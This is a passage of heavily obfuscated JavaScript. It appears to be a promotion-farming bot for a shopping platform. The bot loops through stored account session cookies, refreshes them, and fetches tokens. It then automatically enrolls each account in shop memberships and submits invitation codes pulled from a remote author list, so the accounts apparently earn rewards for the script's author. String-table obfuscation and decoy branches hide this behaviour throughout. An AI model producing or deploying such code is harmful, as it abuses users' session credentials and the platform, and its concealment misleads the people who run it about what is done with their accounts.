_0x4ba81f=0x0;_0x54ef6d[_0x551f('1f')](_0x4ba81f,cookiesArr[_0x551f('20')]);_0x4ba81f++){if(cookiesArr[_0x4ba81f]){if(_0x54ef6d[_0x551f('15')](_0x54ef6d[_0x551f('21')],_0x54ef6d[_0x551f('21')])){cookie=cookiesArr[_0x4ba81f];originCookie=cookiesArr[_0x4ba81f];newCookie='';$[_0x551f('22')]=_0x54ef6d[_0x551f('12')](decodeURIComponent,cookie[_0x551f('23')](/pt_pin=(.+?);/)&&cookie[_0x551f('23')](/pt_pin=(.+?);/)[0x1]);$[_0x551f('24')]=_0x54ef6d[_0x551f('25')](_0x4ba81f,0x1);$[_0x551f('26')]=!![];$[_0x551f('1a')]='';await _0x54ef6d[_0x551f('27')](checkCookie);console[_0x551f('11')](_0x551f('28')+$[_0x551f('24')]+'\u3011'+($[_0x551f('1a')]||$[_0x551f('22')])+_0x551f('29'));if(!$[_0x551f('26')]){$[_0x551f('c')]($[_0x551f('d')],_0x551f('2a'),_0x551f('2b')+$[_0x551f('24')]+'\x20'+($[_0x551f('1a')]||$[_0x551f('22')])+_0x551f('2c'),{'open-url':_0x54ef6d[_0x551f('f')]});if($[_0x551f('2d')]()){}continue;}$[_0x551f('2e')]=0x0;$[_0x551f('2f')]=_0x54ef6d[_0x551f('30')](getUUID,_0x54ef6d[_0x551f('31')],0x1);$[_0x551f('32')]=_0x54ef6d[_0x551f('33')](getUUID,_0x54ef6d[_0x551f('34')]);$[_0x551f('35')]=ownCode?ownCode:authorCodeList[_0x54ef6d[_0x551f('30')](random,0x0,authorCodeList[_0x551f('20')])];$[_0x551f('36')]=''+_0x54ef6d[_0x551f('37')](random,0xf4240,0x98967f);$[_0x551f('a')]=activityList[activityNum][_0x54ef6d[_0x551f('38')]];$[_0x551f('b')]=activityList[activityNum][_0x54ef6d[_0x551f('39')]];$[_0x551f('3a')]=_0x551f('3b')+$[_0x551f('36')]+_0x551f('3c')+_0x54ef6d[_0x551f('33')](encodeURIComponent,$[_0x551f('35')])+_0x551f('3d')+_0x54ef6d[_0x551f('3e')](encodeURIComponent,$[_0x551f('3f')])+_0x551f('40');await _0x54ef6d[_0x551f('41')](rush);await $[_0x551f('42')](0x7d0);}else{cookie=''+cookie+sk[_0x551f('43')]('\x3b')[0x0]+'\x3b';}}}})()[_0x551f('44')](_0x52c6d7=>{$[_0x551f('11')]('','\u274c\x20'+$[_0x551f('d')]+_0x551f('45')+_0x52c6d7+'\x21','');})[_0x551f('46')](()=>{$[_0x551f('47')]();});async function rush(){var _0x21a6b9={'\x73\x64\x79\x79\x59':function(_0x2844e6){return _0x2844e6();},'\x44\x77\x77\x68\x48':_0x551f('48'),'\x4f\x50\x4d\x6c\x6f':_0x551f('49'),'\x63\x79\x41\x7a\x49':_0x551f('4a'),'\x71\x7a\x47\x48\x79':function(_0x71bea3,_0x1356ab){return _0x71bea3!==_0x1356ab;},'\x7a\x4e\x6f\x6d\x56':_0x551f('4b'),'\x59\x74\x73\x4b\x6a':function(_0x16246e){return _0x16246e();},'\x76\x62\x79\x65\x6c':function(_0x1070cc,_0x6c5476){return _0x1070cc+_0x6c5476;},'\x6e\x55\x74\x75\x4b':_0x551f('4c'),'\x43\x51\x43\x53\x52':function(_0x37d89e,_0x6b6ada,_0x269616,_0x81bab8){return _0x37d89e(_0x6b6ada,_0x269616,_0x81bab8);},'\x79\x4a\x75\x58\x44':_0x551f('4d'),'\x4e\x47\x61\x47\x49':function(_0x953966,_0x4a0634){return _0x953966(_0x4a0634);},'\x67\x4e\x69\x56\x72':function(_0x1bbdba,_0x449c70,_0x813f0){return _0x1bbdba(_0x449c70,_0x813f0);},'\x52\x41\x55\x57\x45':_0x551f('4e'),'\x6d\x68\x68\x50\x70':function(_0x5b8b2a,_0x6fcf7f){return _0x5b8b2a(_0x6fcf7f);},'\x4b\x76\x48\x4d\x4e':_0x551f('4f'),'\x63\x73\x54\x49\x61':_0x551f('50'),'\x69\x77\x4b\x4e\x6a':function(_0x2125a9,_0x19496b){return _0x2125a9(_0x19496b);},'\x56\x78\x77\x79\x4f':function(_0x56cea1,_0x18b9a4){return _0x56cea1(_0x18b9a4);},'\x50\x44\x53\x54\x4f':function(_0xdc7e87,_0x55a156,_0x154be2,_0x22274a,_0x22a7f3){return _0xdc7e87(_0x55a156,_0x154be2,_0x22274a,_0x22a7f3);},'\x42\x47\x68\x6c\x75':function(_0x5119fb,_0x3deeef){return _0x5119fb(_0x3deeef);},'\x50\x5a\x4c\x57\x71':function(_0x8fa0ed,_0x2f8201){return _0x8fa0ed(_0x2f8201);},'\x66\x46\x66\x42\x4b':function(_0x2bedb8,_0x1793b5){return _0x2bedb8===_0x1793b5;},'\x61\x71\x42\x70\x69':_0x551f('51'),'\x49\x69\x68\x78\x6d':_0x551f('52'),'\x73\x73\x4d\x59\x49':_0x551f('53'),'\x69\x43\x58\x71\x73':_0x551f('54'),'\x49\x65\x6a\x57\x56':function(_0x10a3c7,_0x1f6caf){return _0x10a3c7===_0x1f6caf;},'\x55\x50\x56\x54\x78':_0x551f('55'),'\x61\x69\x51\x6d\x6f':_0x551f('56'),'\x4d\x49\x6b\x4f\x6a':_0x551f('57'),'\x5a\x72\x51\x59\x6e':function(_0x3d829d,_0x18d91f){return _0x3d829d!==_0x18d91f;},'\x57\x48\x6d\x4e\x6c':_0x551f('58'),'\x46\x65\x6e\x41\x68':_0x551f('59'),'\x45\x4b\x4f\x41\x68':_0x551f('5a'),'\x56\x6f\x72\x4b\x7a':_0x551f('5b'),'\x46\x66\x59\x71\x6e':_0x551f('5c')};$[_0x551f('5d')]=null;$[_0x551f('3f')]=null;await _0x21a6b9[_0x551f('5e')](getFirstLZCK);await _0x21a6b9[_0x551f('5e')](getToken);if($[_0x551f('5d')]){if(_0x21a6b9[_0x551f('5f')](_0x21a6b9[_0x551f('60')],_0x21a6b9[_0x551f('60')])){_0x21a6b9[_0x551f('5e')](resolve);}else{await _0x21a6b9[_0x551f('61')](getMyPing);if($[_0x551f('3f')]){console[_0x551f('11')](_0x21a6b9[_0x551f('62')](_0x21a6b9[_0x551f('63')],$[_0x551f('35')]));await _0x21a6b9[_0x551f('64')](task,_0x21a6b9[_0x551f('65')],_0x551f('66')+_0x21a6b9[_0x551f('67')](encodeURIComponent,$[_0x551f('3f')])+_0x551f('68')+$[_0x551f('3a')]+_0x551f('69'),0x1);await _0x21a6b9[_0x551f('6a')](task,_0x21a6b9[_0x551f('6b')],_0x551f('6c')+_0x21a6b9[_0x551f('6d')](encodeURIComponent,$[_0x551f('3f')])+_0x551f('6e')+_0x21a6b9[_0x551f('6d')](encodeURIComponent,$[_0x551f('35')]));if($[_0x551f('4e')]){console[_0x551f('11')]($[_0x551f('4e')][_0x551f('6f')]);if($[_0x551f('4e')][_0x551f('6f')]){$[_0x551f('11')](_0x21a6b9[_0x551f('70')]);await _0x21a6b9[_0x551f('6a')](task,_0x21a6b9[_0x551f('71')],_0x551f('6c')+_0x21a6b9[_0x551f('72')](encodeURIComponent,$[_0x551f('3f')])+_0x551f('6e')+_0x21a6b9[_0x551f('73')](encodeURIComponent,$[_0x551f('35')])+_0x551f('74')+_0x21a6b9[_0x551f('73')](encodeURIComponent,_0x551f('75')));if(!$[_0x551f('4e')][_0x551f('76')]){await _0x21a6b9[_0x551f('6a')](getShopOpenCardInfo,{'venderId':$[_0x551f('b')],'channel':0x191},$[_0x551f('b')]);await _0x21a6b9[_0x551f('6a')](bindWithVender,{'venderId':$[_0x551f('b')],'shopId':$[_0x551f('b')],'bindByVerifyCodeFlag':0x1,'registerExtend':{},'writeChildFlag':0x0,'activityId':0x32158e,'channel':0x191},$[_0x551f('b')]);}await _0x21a6b9[_0x551f('77')](task,_0x21a6b9[_0x551f('6b')],_0x551f('6c')+_0x21a6b9[_0x551f('78')](encodeURIComponent,$[_0x551f('3f')])+_0x551f('6e')+_0x21a6b9[_0x551f('79')](encodeURIComponent,$[_0x551f('35')]),0x0,0x1);await $[_0x551f('42')](0x7d0);if(_0x21a6b9[_0x551f('7a')]($[_0x551f('24')],0x1)){if($[_0x551f('4e')][_0x551f('7b')]){if(_0x21a6b9[_0x551f('7a')](_0x21a6b9[_0x551f('7c')],_0x21a6b9[_0x551f('7c')])){$[_0x551f('11')](_0x21a6b9[_0x551f('7d')]);await _0x21a6b9[_0x551f('6a')](task,_0x21a6b9[_0x551f('7e')],_0x551f('6c')+_0x21a6b9[_0x551f('79')](encodeURIComponent,$[_0x551f('3f')])+_0x551f('74')+_0x21a6b9[_0x551f('79')](encodeURIComponent,_0x551f('75')));await $[_0x551f('42')](0x7d0);}else{for(let _0xc95be1 of resp[_0x21a6b9[_0x551f('7f')]][_0x21a6b9[_0x551f('80')]]){cookie=''+cookie+_0xc95be1[_0x551f('43')]('\x3b')[0x0]+'\x3b';}}}}}else{if(_0x21a6b9[_0x551f('7a')]($[_0x551f('24')],0x1)){if(_0x21a6b9[_0x551f('7a')](_0x21a6b9[_0x551f('81')],_0x21a6b9[_0x551f('81')])){$[_0x551f('11')](_0x21a6b9[_0x551f('7d')]);if($[_0x551f('4e')][_0x551f('7b')]){await _0x21a6b9[_0x551f('6a')](task,_0x21a6b9[_0x551f('7e')],_0x551f('6c')+_0x21a6b9[_0x551f('79')](encodeURIComponent,$[_0x551f('3f')])+_0x551f('74')+_0x21a6b9[_0x551f('79')](encodeURIComponent,_0x551f('75')));console[_0x551f('11')](ownCode);await $[_0x551f('42')](0x7d0);}else{if(_0x21a6b9[_0x551f('82')](_0x21a6b9[_0x551f('83')],_0x21a6b9[_0x551f('83')])){$[_0x551f('11')](_0x21a6b9[_0x551f('84')]);console[_0x551f('11')]($[_0x551f('4e')][_0x551f('85')]);}else{console[_0x551f('11')](res);$[_0x551f('86')]=res[_0x551f('87')];}}}else{$[_0x551f('11')](_0x21a6b9[_0x551f('88')]);}}else{$[_0x551f('11')](_0x21a6b9[_0x551f('89')]);}}}else{if(_0x21a6b9[_0x551f('8a')](_0x21a6b9[_0x551f('8b')],_0x21a6b9[_0x551f('8b')])){ownCode=data[_0x551f('1b')][_0x551f('85')];}else{$[_0x551f('11')](_0x21a6b9[_0x551f('8c')]);}}}else{$[_0x551f('11')](_0x21a6b9[_0x551f('8d')]);}}}else{if(_0x21a6b9[_0x551f('82')](_0x21a6b9[_0x551f('8e')],_0x21a6b9[_0x551f('8e')])){$[_0x551f('11')](_0x21a6b9[_0x551f('8f')]);}else{console[_0x551f('11')](err);}}}function getAuthorCodeList(_0x55cfac){var _0x503524={'\x63\x55\x51\x4d\x4a':function(_0xfba56c,_0x5c3283){return _0xfba56c===_0x5c3283;},'\x54\x7a\x72\x6e\x69':_0x551f('90'),'\x6b\x47\x4e\x62\x75':_0x551f('91'),'\x6e\x45\x57\x74\x67':function(_0x2f9c40,_0x51ab02){return _0x2f9c40===_0x51ab02;},'\x76\x71\x61\x52\x76':_0x551f('92'),'\x6c\x43\x64\x54\x65':_0x551f('93'),'\x54\x7a\x62\x61\x57':_0x551f('94'),'\x5a\x78\x6a\x51\x64':function(_0xd3184f,_0x344225){return _0xd3184f(_0x344225);},'\x65\x51\x4c\x66\x55':_0x551f('95')};return new Promise(_0x55a350=>{const _0x5aca0e={'\x75\x72\x6c':_0x55cfac+'\x3f'+new Date(),'timeout':0x2710,'\x68\x65\x61\x64\x65\x72\x73':{'User-Agent':_0x503524[_0x551f('96')]}};$[_0x551f('97')](_0x5aca0e,async(_0x566d03,_0x34a119,_0x13aaa5)=>{if(_0x503524[_0x551f('98')](_0x503524[_0x551f('99')],_0x503524[_0x551f('9a')])){$[_0x551f('11')](_0x551f('9b')+_0x13aaa5[_0x551f('1b')][_0x551f('1e')]);$[_0x551f('9c')]=_0x13aaa5[_0x551f('1b')][_0x551f('1e')];$[_0x551f('3f')]=_0x13aaa5[_0x551f('1b')][_0x551f('3f')];cookie=cookie+_0x551f('9d')+_0x13aaa5[_0x551f('1b')][_0x551f('3f')];}else{try{if(_0x566d03){$[_0x551f('10')]=![];}else{if(_0x503524[_0x551f('9e')](_0x503524[_0x551f('9f')],_0x503524[_0x551f('a0')])){$[_0x551f('11')](error);}else{if(_0x13aaa5)_0x13aaa5=JSON[_0x551f('a1')](_0x13aaa5);$[_0x551f('10')]=!![];}}}catch(_0x54d3e2){if(_0x503524[_0x551f('9e')](_0x503524[_0x551f('a2')],_0x503524[_0x551f('a2')])){$[_0x551f('a3')](_0x54d3e2,_0x34a119);_0x13aaa5=null;}else{if(res[_0x551f('a4')][_0x551f('a5')]){$[_0x551f('a6')]=res[_0x551f('a4')][_0x551f('a5')][0x0][_0x551f('a7')][_0x551f('a')];}}}finally{_0x503524[_0x551f('a8')](_0x55a350,_0x13aaa5);}}});});}function task(_0x2d1d39,_0x4d9031,_0x40804f=0x0){var _0x2f5165={'\x77\x6b\x72\x5a\x79':function(_0x296e2a){return _0x296e2a();},'\x68\x47\x57\x64\x68':_0x551f('48'),'\x54\x4a\x42\x61\x6c':_0x551f('49'),'\x72\x6b\x4c\x75\x59':function(_0x2ed8c7,_0x10fa3a){return _0x2ed8c7===_0x10fa3a;},'\x77\x66\x41\x79\x44':_0x551f('4a'),'\x66\x4f\x48\x48\x54':function(_0x44621d,_0x506f8c){return _0x44621d===_0x506f8c;},'\x44\x72\x43\x6a\x67':_0x551f('a9'),'\x4d\x62\x4e\x74\x76':function(_0x41f481,_0x33a1ac){return _0x41f481!==_0x33a1ac;},'\x75\x70\x56\x55\x58':_0x551f('aa'),'\x74\x6b\x73\x6c\x76':_0x551f('53'),'\x62\x50\x77\x4e\x6e':_0x551f('ab'),'\x69\x52\x70\x79\x4f':_0x551f('ac'),'\x74\x50\x71\x50\x64':_0x551f('4e'),'\x4f\x70\x6a\x54\x6c':function(_0x3b91f5,_0x5a94d4){return _0x3b91f5===_0x5a94d4;},'\x48\x69\x64\x4f\x71':_0x551f('ad'),'\x4a\x4e\x78\x6a\x47':_0x551f('ae'),'\x50\x48\x43\x68\x70':_0x551f('4d'),'\x53\x5a\x77\x55\x44':_0x551f('af'),'\x6e\x78\x78\x73\x54':_0x551f('b0'),'\x49\x4b\x58\x59\x65':_0x551f('b1'),'\x42\x6b\x70\x78\x70':_0x551f('b2'),'\x45\x61\x57\x6c\x4d':_0x551f('b3'),'\x57\x47\x50\x70\x76':_0x551f('b4'),'\x6a\x4a\x69\x7a\x46':function(_0x3ec172,_0xca70c5){return _0x3ec172!==_0xca70c5;},'\x56\x62\x69\x6b\x6d':_0x551f('b5'),'\x70\x57\x53\x4c\x58':_0x551f('b6'),'\x6d\x50\x6d\x6b\x49':function(_0x51e707,_0x5767ea,_0x5bd207,_0x128233){return _0x51e707(_0x5767ea,_0x5bd207,_0x128233);}};return new Promise(_0x39b96b=>{var _0x1ffb4c={'\x44\x4e\x6d\x64\x4b':function(_0x23d186){return _0x2f5165[_0x551f('b7')](_0x23d186);},'\x6f\x44\x63\x55\x74':_0x2f5165[_0x551f('b8')],'\x47\x52\x76\x75\x6c':_0x2f5165[_0x551f('b9')],'\x67\x6c\x4c\x52\x6e':function(_0x5333a4,_0x1fedf8){return _0x2f5165[_0x551f('ba')](_0x5333a4,_0x1fedf8);},'\x4d\x79\x61\x4b\x4f':_0x2f5165[_0x551f('bb')],'\x79\x48\x42\x66\x49':function(_0x22bd5d,_0x5d3395){return _0x2f5165[_0x551f('bc')](_0x22bd5d,_0x5d3395);},'\x66\x74\x70\x47\x44':_0x2f5165[_0x551f('bd')],'\x67\x51\x5a\x67\x62':function(_0x27e399,_0x4ef76b){return _0x2f5165[_0x551f('be')](_0x27e399,_0x4ef76b);},'\x74\x61\x78\x67\x51':_0x2f5165[_0x551f('bf')],'\x77\x45\x6a\x73\x66':_0x2f5165[_0x551f('c0')],'\x46\x79\x7a\x47\x68':_0x2f5165[_0x551f('c1')],'\x75\x41\x53\x46\x41':_0x2f5165[_0x551f('c2')],'\x4b\x6d\x57\x53\x78':function(_0x59bc71,_0x152980){return _0x2f5165[_0x551f('bc')](_0x59bc71,_0x152980);},'\x54\x4b\x6b\x63\x6f':_0x2f5165[_0x551f('c3')],'\x54\x76\x58\x57\x55':function(_0x4d82d8,_0x43a434){return _0x2f5165[_0x551f('c4')](_0x4d82d8,_0x43a434);},'\x50\x63\x4b\x4e\x57':_0x2f5165[_0x551f('c5')],'\x65\x54\x4d\x78\x56':_0x2f5165[_0x551f('c6')],'\x6d\x46\x67\x58\x4c':_0x2f5165[_0x551f('c7')],'\x4d\x64\x41\x4d\x57':_0x2f5165[_0x551f('c8')],'\x6c\x67\x76\x6f\x69':_0x2f5165[_0x551f('c9')],'\x4c\x70\x48\x42\x65':_0x2f5165[_0x551f('ca')],'\x54\x77\x75\x44\x73':function(_0x252ddd,_0x26b58d){return _0x2f5165[_0x551f('be')](_0x252ddd,_0x26b58d);},'\x43\x41\x42\x78\x62':_0x2f5165[_0x551f('cb')],'\x70\x6f\x52\x4f\x4d':_0x2f5165[_0x551f('cc')],'\x6f\x6c\x48\x4e\x51':_0x2f5165[_0x551f('cd')]};if(_0x2f5165[_0x551f('ce')](_0x2f5165[_0x551f('cf')],_0x2f5165[_0x551f('d0')])){$[_0x551f('d1')](_0x2f5165[_0x551f('d2')](taskUrl,_0x2d1d39,_0x4d9031,_0x40804f),async(_0x52e7cd,_0x2e5f87,_0x34ad9c)=>{if(_0x1ffb4c[_0x551f('d3')](_0x1ffb4c[_0x551f('d4')],_0x1ffb4c[_0x551f('d4')])){try{if(_0x1ffb4c[_0x551f('d5')](_0x1ffb4c[_0x551f('d6')],_0x1ffb4c[_0x551f('d6')])){_0x1ffb4c[_0x551f('d7')](_0x39b96b);}else{if(_0x52e7cd){$[_0x551f('11')](_0x52e7cd);}else{if(_0x34ad9c){_0x34ad9c=JSON[_0x551f('a1')](_0x34ad9c);if(_0x34ad9c[_0x551f('a4')]){switch(_0x2d1d39){case _0x1ffb4c[_0x551f('d8')]:if(_0x34ad9c[_0x551f('1b')][_0x551f('85')]){if(_0x1ffb4c[_0x551f('d3')](_0x1ffb4c[_0x551f('d9')],_0x1ffb4c[_0x551f('d9')])){$[_0x551f('11')](_0x1ffb4c[_0x551f('da')]);if(_0x1ffb4c[_0x551f('db')]($[_0x551f('24')],0x1)){ownCode=_0x34ad9c[_0x551f('1b')][_0x551f('85')];}}else{$[_0x551f('47')]();}}break;case _0x1ffb4c[_0x551f('dc')]:$[_0x551f('4e')]=_0x34ad9c[_0x551f('1b')];$[_0x551f('dd')]=_0x34ad9c[_0x551f('1b')][_0x551f('dd')];if(_0x1ffb4c[_0x551f('de')]($[_0x551f('24')],0x1)){if(_0x1ffb4c[_0x551f('de')](_0x1ffb4c[_0x551f('df')],_0x1ffb4c[_0x551f('df')])){ownCode=_0x34ad9c[_0x551f('1b')][_0x551f('85')];console[_0x551f('11')](ownCode);}else{for(let _0x2bd6f7 of _0x2e5f87[_0x1ffb4c[_0x551f('e0')]][_0x1ffb4c[_0x551f('e1')]]){cookie=''+cookie+_0x2bd6f7[_0x551f('43')]('\x3b')[0x0]+'\x3b';}}}break;case _0x1ffb4c[_0x551f('e2')]:console[_0x551f('11')](_0x34ad9c[_0x551f('1b')]);break;case _0x1ffb4c[_0x551f('e3')]:console[_0x551f('11')](_0x34ad9c[_0x551f('1b')]);break;case _0x1ffb4c[_0x551f('e4')]:if(_0x34ad9c[_0x551f('1b')][_0x551f('e5')]){if(_0x1ffb4c[_0x551f('de')](_0x1ffb4c[_0x551f('e6')],_0x1ffb4c[_0x551f('e7')])){_0x34ad9c=JSON[_0x551f('a1')](_0x34ad9c);if(_0x34ad9c[_0x551f('a4')]){$[_0x551f('11')](_0x551f('9b')+_0x34ad9c[_0x551f('1b')][_0x551f('1e')]);$[_0x551f('9c')]=_0x34ad9c[_0x551f('1b')][_0x551f('1e')];$[_0x551f('3f')]=_0x34ad9c[_0x551f('1b')][_0x551f('3f')];cookie=cookie+_0x551f('9d')+_0x34ad9c[_0x551f('1b')][_0x551f('3f')];}else{$[_0x551f('11')](_0x34ad9c[_0x551f('e8')]);}}else{$[_0x551f('1e')]=_0x34ad9c[_0x551f('1b')][_0x551f('1e')];$[_0x551f('e9')]=_0x34ad9c[_0x551f('1b')][_0x551f('e5')];}}else{if(_0x1ffb4c[_0x551f('ea')](_0x1ffb4c[_0x551f('eb')],_0x1ffb4c[_0x551f('ec')])){$[_0x551f('1e')]=_0x34ad9c[_0x551f('1b')][_0x551f('1e')];$[_0x551f('e9')]=_0x1ffb4c[_0x551f('ed')];}else{console[_0x551f('11')](_0x52e7cd);}}break;}}else{$[_0x551f('11')](JSON[_0x551f('ee')](_0x34ad9c));}}}}}catch(_0x2098bf){$[_0x551f('11')](_0x2098bf);}finally{_0x1ffb4c[_0x551f('d7')](_0x39b96b);}}else{if(_0x34ad9c){_0x34ad9c=JSON[_0x551f('a1')](_0x34ad9c);if(_0x1ffb4c[_0x551f('ef')](_0x34ad9c[_0x551f('f0')],'\x30')){$[_0x551f('5d')]=_0x34ad9c[_0x551f('5d')];}}else{$[_0x551f('11')](_0x1ffb4c[_0x551f('f1')]);}}});}else{ownCode=data[_0x551f('1b')][_0x551f('85')];console[_0x551f('11')](ownCode);}});}function taskUrl(_0x317773,_0x59b84d,_0x1e495f){var _0xb25f3={'\x56\x74\x59\x7a\x4e':_0x551f('f2'),'\x50\x50\x77\x67\x41':_0x551f('f3'),'\x4f\x4c\x43\x45\x5a':_0x551f('f4'),'\x62\x79\x41\x6f\x50':_0x551f('f5'),'\x6f\x73\x5a\x58\x66':_0x551f('f6'),'\x6e\x4d\x46\x77\x47':_0x551f('f7'),'\x44\x66\x67\x4a\x73':_0x551f('f8'),'\x43\x4b\x47\x48\x6f':_0x551f('f9')};return{'\x75\x72\x6c':_0x1e495f?_0x551f('fa')+_0x317773:_0x551f('fb')+_0x317773,'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0xb25f3[_0x551f('fc')],'\x41\x63\x63\x65\x70\x74':_0xb25f3[_0x551f('fd')],'X-Requested-With':_0xb25f3[_0x551f('fe')],'Accept-Language':_0xb25f3[_0x551f('ff')],'Accept-Encoding':_0xb25f3[_0x551f('100')],'Content-Type':_0xb25f3[_0x551f('101')],'\x4f\x72\x69\x67\x69\x6e':_0xb25f3[_0x551f('102')],'User-Agent':_0x551f('103')+$[_0x551f('32')]+_0x551f('104')+$[_0x551f('2f')]+_0x551f('105'),'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0xb25f3[_0x551f('106')],'\x52\x65\x66\x65\x72\x65\x72':$[_0x551f('3a')],'\x43\x6f\x6f\x6b\x69\x65':$[_0x551f('107')]},'\x62\x6f\x64\x79':_0x59b84d};}function getMyPing(){var _0x14ee7e={'\x6c\x6d\x68\x72\x41':function(_0x9cea97,_0x31c318){return _0x9cea97|_0x31c318;},'\x42\x75\x6a\x50\x6c':function(_0x35a7d1,_0x40f3a1){return _0x35a7d1*_0x40f3a1;},'\x50\x6c\x72\x57\x41':function(_0x4b0dec,_0x3371c3){return _0x4b0dec==_0x3371c3;},'\x58\x75\x68\x41\x64':function(_0x56a17c,_0x36363a){return _0x56a17c&_0x36363a;},'\x69\x79\x5a\x5a\x58':_0x551f('f2'),'\x4e\x66\x78\x69\x44':_0x551f('f3'),'\x4a\x49\x72\x50\x45':_0x551f('f4'),'\x4e\x4f\x58\x65\x49':_0x551f('f5'),'\x4e\x73\x49\x65\x6f':_0x551f('f6'),'\x6f\x70\x66\x6f\x46':_0x551f('f7'),'\x4b\x47\x5a\x49\x6c':_0x551f('f8'),'\x50\x62\x57\x53\x44':_0x551f('f9'),'\x46\x54\x71\x42\x70':_0x551f('48'),'\x50\x6a\x48\x4e\x48':_0x551f('49'),'\x7a\x57\x55\x76\x76':function(_0x389ae2,_0x5ecbcb){return _0x389ae2===_0x5ecbcb;},'\x78\x55\x44\x52\x58':_0x551f('108'),'\x4a\x57\x59\x50\x6c':_0x551f('109'),'\x72\x63\x71\x53\x58':_0x551f('10a'),'\x69\x4d\x68\x64\x76':function(_0x1dd781,_0x50311c){return _0x1dd781!==_0x50311c;},'\x64\x6b\x76\x75\x67':_0x551f('10b'),'\x62\x67\x69\x44\x62':_0x551f('10c'),'\x4f\x57\x4e\x41\x56':function(_0x3ea630,_0x98323c){return _0x3ea630!==_0x98323c;},'\x45\x74\x51\x47\x6c':_0x551f('10d'),'\x72\x74\x41\x6c\x76':function(_0x2a902e,_0x399fae){return _0x2a902e!==_0x399fae;},'\x50\x52\x52\x50\x54':_0x551f('10e'),'\x43\x72\x43\x45\x6a':_0x551f('10f'),'\x6f\x56\x58\x69\x57':function(_0x3b44b6,_0x195614){return _0x3b44b6!==_0x195614;},'\x66\x6b\x55\x45\x50':_0x551f('110'),'\x62\x52\x69\x75\x7a':_0x551f('111'),'\x43\x53\x57\x53\x74':_0x551f('4a'),'\x58\x49\x6b\x75\x6d':function(_0x2b918b,_0x3a10bd){return _0x2b918b!==_0x3a10bd;},'\x47\x74\x6d\x78\x61':_0x551f('112'),'\x65\x6e\x67\x46\x75':_0x551f('113'),'\x48\x50\x71\x44\x76':function(_0x21f0b1){return _0x21f0b1();},'\x4a\x50\x6a\x69\x61':_0x551f('4'),'\x68\x6e\x73\x4e\x6d':_0x551f('5'),'\x71\x4a\x45\x49\x4b':_0x551f('6'),'\x4e\x63\x74\x4a\x4f':_0x551f('114'),'\x5a\x64\x67\x4a\x65':_0x551f('115')};let _0x273d0b={'\x75\x72\x6c':_0x551f('116'),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x14ee7e[_0x551f('117')],'\x41\x63\x63\x65\x70\x74':_0x14ee7e[_0x551f('118')],'X-Requested-With':_0x14ee7e[_0x551f('119')],'Accept-Language':_0x14ee7e[_0x551f('11a')],'Accept-Encoding':_0x14ee7e[_0x551f('11b')],'Content-Type':_0x14ee7e[_0x551f('11c')],'\x4f\x72\x69\x67\x69\x6e':_0x14ee7e[_0x551f('11d')],'User-Agent':_0x551f('103')+$[_0x551f('32')]+_0x551f('104')+$[_0x551f('2f')]+_0x551f('105'),'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x14ee7e[_0x551f('11e')],'\x52\x65\x66\x65\x72\x65\x72':$[_0x551f('3a')],'\x43\x6f\x6f\x6b\x69\x65':cookie},'\x62\x6f\x64\x79':_0x551f('11f')+$[_0x551f('5d')]+_0x551f('120')};return new Promise(_0x478337=>{var _0x5c0700={'\x44\x52\x49\x53\x59':_0x14ee7e[_0x551f('121')],'\x56\x4b\x74\x63\x46':_0x14ee7e[_0x551f('122')],'\x57\x76\x56\x5a\x54':_0x14ee7e[_0x551f('123')]};if(_0x14ee7e[_0x551f('124')](_0x14ee7e[_0x551f('125')],_0x14ee7e[_0x551f('125')])){$[_0x551f('d1')](_0x273d0b,(_0xba5e04,_0x4018d0,_0xd08a24)=>{var _0x373e0e={'\x74\x55\x69\x48\x77':function(_0x2e52f3,_0x3eb593){return _0x14ee7e[_0x551f('126')](_0x2e52f3,_0x3eb593);},'\x61\x64\x66\x6c\x6f':function(_0x217194,_0x33b978){return _0x14ee7e[_0x551f('127')](_0x217194,_0x33b978);},'\x6f\x4f\x45\x56\x7a':function(_0x23bf45,_0x49720e){return _0x14ee7e[_0x551f('128')](_0x23bf45,_0x49720e);},'\x74\x71\x4f\x70\x64':function(_0x5e87e1,_0x2f42c1){return _0x14ee7e[_0x551f('129')](_0x5e87e1,_0x2f42c1);},'\x6e\x70\x73\x63\x46':_0x14ee7e[_0x551f('117')],'\x72\x50\x6d\x42\x64':_0x14ee7e[_0x551f('118')],'\x6c\x71\x48\x4f\x59':_0x14ee7e[_0x551f('119')],'\x65\x63\x79\x55\x50':_0x14ee7e[_0x551f('11a')],'\x58\x57\x57\x75\x6c':_0x14ee7e[_0x551f('11b')],'\x71\x4f\x59\x70\x6b':_0x14ee7e[_0x551f('11c')],'\x51\x44\x65\x43\x4e':_0x14ee7e[_0x551f('12a')],'\x54\x55\x45\x6b\x42':_0x14ee7e[_0x551f('11e')]};try{if(_0xba5e04){$[_0x551f('11')](_0xba5e04);}else{if(_0x4018d0[_0x14ee7e[_0x551f('12b')]][_0x14ee7e[_0x551f('12c')]]){cookie=''+originCookie;if($[_0x551f('2d')]()){for(let _0x49017d of _0x4018d0[_0x14ee7e[_0x551f('12b')]][_0x14ee7e[_0x551f('12c')]]){cookie=''+cookie+_0x49017d[_0x551f('43')]('\x3b')[0x0]+'\x3b';}}else{if(_0x14ee7e[_0x551f('124')](_0x14ee7e[_0x551f('12d')],_0x14ee7e[_0x551f('12d')])){for(let _0x51fe49 of _0x4018d0[_0x14ee7e[_0x551f('12b')]][_0x14ee7e[_0x551f('12e')]][_0x551f('43')]('\x2c')){cookie=''+cookie+_0x51fe49[_0x551f('43')]('\x3b')[0x0]+'\x3b';}}else{$[_0x551f('a3')](_0xba5e04);}}}if(_0x4018d0[_0x14ee7e[_0x551f('12b')]][_0x14ee7e[_0x551f('12e')]]){cookie=''+originCookie;if($[_0x551f('2d')]()){for(let _0x1990f7 of _0x4018d0[_0x14ee7e[_0x551f('12b')]][_0x14ee7e[_0x551f('12c')]]){if(_0x14ee7e[_0x551f('124')](_0x14ee7e[_0x551f('12f')],_0x14ee7e[_0x551f('12f')])){cookie=''+cookie+_0x1990f7[_0x551f('43')]('\x3b')[0x0]+'\x3b';}else{cookie=''+cookie+_0x1990f7[_0x551f('43')]('\x3b')[0x0]+'\x3b';}}}else{for(let _0x5e5369 of 